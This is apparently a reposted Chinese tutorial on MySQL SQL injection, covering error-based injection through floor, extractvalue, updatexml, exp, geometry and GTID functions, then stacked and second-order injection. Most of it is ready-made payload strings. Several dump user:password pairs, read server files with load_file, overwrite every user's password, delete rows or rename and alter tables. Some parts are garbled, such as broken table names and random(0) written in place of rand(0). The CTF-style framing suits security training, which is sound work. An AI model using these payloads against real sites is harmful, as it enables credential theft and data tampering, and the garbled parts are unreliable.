sql注⼊之报错注⼊、堆叠注⼊、⼆次注⼊
报错注⼊
0x00 floor()(8.x>mysql>5.0)[双查询报错注⼊]
函数返回⼩于或等于指定值(value)的最⼩整数,取整
通过floor报错的⽅法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1
group by key的原理是循环读取数据的每⼀⾏,将结果保存于临时表中。读取每⼀⾏的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插⼊key所在⾏的数据。
group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了⼀下floor(random(0)*2)可能为0,如果此时临时表只有key为1的⾏不存在key为0的⾏,那么数据库要将该条记录插⼊临时表,由于是随机数,插时⼜要计算⼀下随机值,此时floor(random(0)*2)结果可能为1,就会导致插⼊时冲突⽽报错。即检测时和插⼊时两次计算了随机数的值。
id=0’ union select1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.t ables group by x)a --+
/拆解出来就是下⾯的语句/
concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x
可以看到这⾥实际上不光使⽤了报错注⼊还是⽤了刚刚的联合查询,同时还是⼀个双查询的报错注⼊,当在⼀个聚合函数,⽐如count()函数后⾯如果使⽤group by分组语句的话,就可能会把查询的⼀部分以错误的形式显⽰出来。但是要多次测试才可以得到报错
⼤体思路就是当在⼀个聚合函数,⽐如count函数后⾯如果使⽤分组语句就会把查询的⼀部分以错误的形式显⽰出来,但是因为随机数要测试多次才能得到报错,上⾯报错注⼊函数中的第⼀个Floor()就是这种情况。
0x01 extractvalue()
对XML⽂档进⾏查询的函数
第⼆个参数 xml中的位置是可操作的地⽅,xml⽂档中查字符位置是⽤ /xxx/xxx/xxx/…这种格式,如
果我们写⼊其他格式,就会报错,并且会返回我们写⼊的⾮法格式内容,⽽这个⾮法的内容就是我们想要查询的内容。
and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
0x02 UPDATEXML (XML_document, XPath_string, new_value);
第⼀个参数:XML_document是String格式,为XML⽂档对象的名称 ⽂中为Doc
第⼆个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在⽹上查教程。
第三个参数:new_value,String格式,替换查到的符合条件的数据
作⽤:改变⽂档中符合条件的节点的值
由于updatexml的第⼆个参数需要Xpath格式的字符串,如果不符合xml格式的语法,就可以实现报错注⼊了。
这也是⼀种⾮常常见的报错注⼊的函数。
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
0x03 exp(x)
返回 e 的 x 次⽅,当 数据过⼤ 溢出时报错,即 x > 709
mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+
0x04 geometrycollection() mysql 版本5.5
(1)函数解释:
GeometryCollection是由1个或多个任意类⼏何对象构成的⼏何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。
(2)官⽅⽂档中举例的⽤法如下:
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
(3)报错原因:
因为MYSQL⽆法使⽤这样的字符串画出图形,所以报错
1') and geometrycollection((select * from(select * from(select version())a)b)); %23
1') and geometrycollection((select * from(select * from(select column_name from lumns where table_name='manage' limit 0,1)a)b)); %23
1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %2 3
0x05 multipoint() mysql 版本5.5
(1)函数解释:
MultiPoint是⼀种由Point元素构成的⼏何对象集合。这些点未以任何⽅式连接或排序。
(2)报错原因:
同样是因为⽆法使⽤字符串画出图形与geometrycollection类似
1') and multipoint((select * from(select * from(select version())a)b)); %23
0x06 polygon()
polygon来⾃希腊。“Poly” 意味 “many” , “gon” 意味 “angle”.
Polygon是代表多边⼏何对象的平⾯Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。
') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+
0x07 mutipolygon()
') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))
0x08 linestring()
报错原理:
mysql的有些⼏何函数( 例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() )对参数要求为⼏何数据,若不满⾜要求则会报错,适⽤于5.1-5.5版本 (5.0.中存在但是不会报错)
1') and linestring((select * from(select * from(select database())a)b))--+;
0x09 multilinestring()
同上
0x0a ST.LatFromGeoHash()(mysql>=5.7.x)
') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a )b))--+
0x0b ST.LongFromGeoHash
同上 嵌套查询
0x0d GTID (MySQL >= 5.6.X - 显错<=200)
0x01 GTID
GTID是MySQL数据库每次提交事务后⽣成的⼀个全局事务标识符,GTID不仅在本服务器上是唯⼀的,其在复制拓扑中也是唯⼀的
GTID的表现形式 -> GTID =source_id:transaction_id其中source_id⼀般为数据库的uuid,transaction_id为事务ID,从1开始
3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上⾯的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-
C80AA9429562的数据库的23号事务
GTID集合(⼀组全局事务标识符):
GTID集合为多个单GTID和⼀个范围内GTID的集合,他主要⽤于如下地⽅
gtid_executed 系统变量
gtid_purged系统变量
GTID_SUBSET() 和 GTID_SUBTRACT()函数
格式如下:
3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5
0X02 函数详解
GTID_SUBET() 和 GTID_SUBTRACT() 函数,我们知道他的输⼊值是 GTIDset ,当输⼊有误时,就会报错
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的⼦集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
正常情况如下
GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-
C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-
71CA-11E1-9E33-C80AA9429562:20-25’)
0x03 注⼊过程( payload )
GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
上⾯是⼀些常见或者不常见的能够报错注⼊的函数,报错注⼊就是利⽤这些函数,在我们的查询语句中的这些函数内的某个位置再嵌套⼀个⼦查询,利⽤产⽣的报错将⼦查询的结果回显出来,每个报错注⼊的函数都搭配了⽹上到的简单的payload,情况总是在变化,注意⼀下函数中⼦查询所在的位置即可。
使⽤ join using() 报错获取列名
⼀般应⽤于⽆列名注⼊,下⽂绕过中会细讲。
通过关键字join可建⽴两个表之间的内连接。通过对想要查询列名所在的表与其⾃⾝内连接,会由于冗
余的原因(相同列名存在),⽽发⽣错误。并且报错信息会存在重复的列名,可以使⽤ USING 表达式声明内连接(INNER JOIN)条件来避免报错。
下⾯演⽰如何通过join…using来获取列名:
#获取第⼀列的列名:
1' union select * from (select * from users as a join users as b)as c#
#使⽤using()依次获取后续的列名
1' union all select * from (select * from users as a join users b using(id))c#
1' union all select * from (select * from users as a join users b using(id,username))c#
1' union all select * from (select * from users as a join users b using(id,username,password))c#
#数据库中as主要作⽤是起别名, 常规来说as都可以省略,但是为了增加可读性, 不建议省略
堆叠注⼊⽤到的SQL语法知识
注⼊流程
#读取数据
mysql操作官方文档/?id=1';show databases;--+
/?id=1';show tables;--+
/?id=1';show tables from database_name;--+
/?id=1';show columns from table_name;--+
#读取⽂件
/?id=1';select load_file('/flag');--+
#修改数据表的结构
/?id=1';insert into users(id,username,password)values(20,'whoami','657260');--+ # 插⼊数据
/?id=1';update users set password='657260' where id>0;--+ # 更改数据
/?id=1';delete from users where id=20;--+ # 删除数据
/
?id=1';create table fake_users like users;--+ # 创建⼀个新表
id=1';rename table old_table to new_table;--+ # 更改表名
id=1';alter table users change old_column new_column varchar(100);--+ # 更改字段名
下⾯是MySQL堆叠注⼊的⼏种常见姿势。
rename修改表名
1';rename table words to words1;rename table flag_here to words;#
#rename命令⽤于修改表名。
#rename命令格式:rename table 原表名 to 新表名;
rename/alter 修改表名与字段名
1';rename table words to words1;rename table flag_here to words;alter table words change flag id varchar(100);#
rename命令⽤于修改表名。
rename命令格式:rename table 原表名 to 新表名;
利⽤ HANDLER 语句
如果rename、alter被过滤了,我们可以借助HANDLER语句来bypass。在不更改表名的情况下读取另⼀个表中的数据。
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
或
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;#
⼆次注⼊
⼆次注⼊⽤到的SQL语法知识
通常⼆次注⼊的成因会是插⼊语句,我们控制⾃⼰想要查询的语句插⼊到数据库中再去⼀个能显⽰插⼊数据的回显的地⽅(可能是登陆后的⽤户名等等、也有可能是删除后显⽰删除内容的地⽅~),恶意插⼊查询语句的⽰例如下:
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq')
insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','123@qq')
需要对后端的SQL语句有⼀个猜测
这⾥还有⼀个点,我们不能直接将要查询的函数插⼊,因为如果直接插⼊的话,'database()‘会被识别为字符串,我们需要想办法闭合前后单引号的同时将我们的查询插⼊,就出现了’0’+database()+‘0’这样的构造,但是这个的回显是0,但是在我们进⾏了hex编码之后就能正常的查询了,也就是上⾯出现的’0’+hex(database())+‘0’
注⼊流程
⾸先到插⼊点,通常情况下是⼀个注册页⾯,register.php这种,先简单的查看⼀下注册后有没有什么注册时写⼊的信息在之后⼜回显的,若有回显猜测为⼆次查询。
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq')
insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','123@qq')
构造类似于values中的参数进⾏注册等操作,然后进⾏查看,将hex编码解码即可,可能会有其他的先限制,⽐如超过10位就会转化为科学计数法,我们就需要使⽤from for语句来进⾏⼀个限制,可以编写脚本。
转载连接:
mp.weixin.qq/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247492453&idx=1&sn=7fa30af26e4d7cfa16792e4f62ba730d&chksm=ebb50c66dcc28570 3481d990db26fab029b86b9c0c63ea18f11f86cdcbf2be59d82760d2f994&mpshare=1&scene=1&srcid=1212Bxs6l9sTEGEe0tbr0ApF&sharer_sharetime=16 39528636326&sharer_shareid=d958928af57914a769de8e2e72622d10&version=3.1.2.2211&platform=win#rd
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论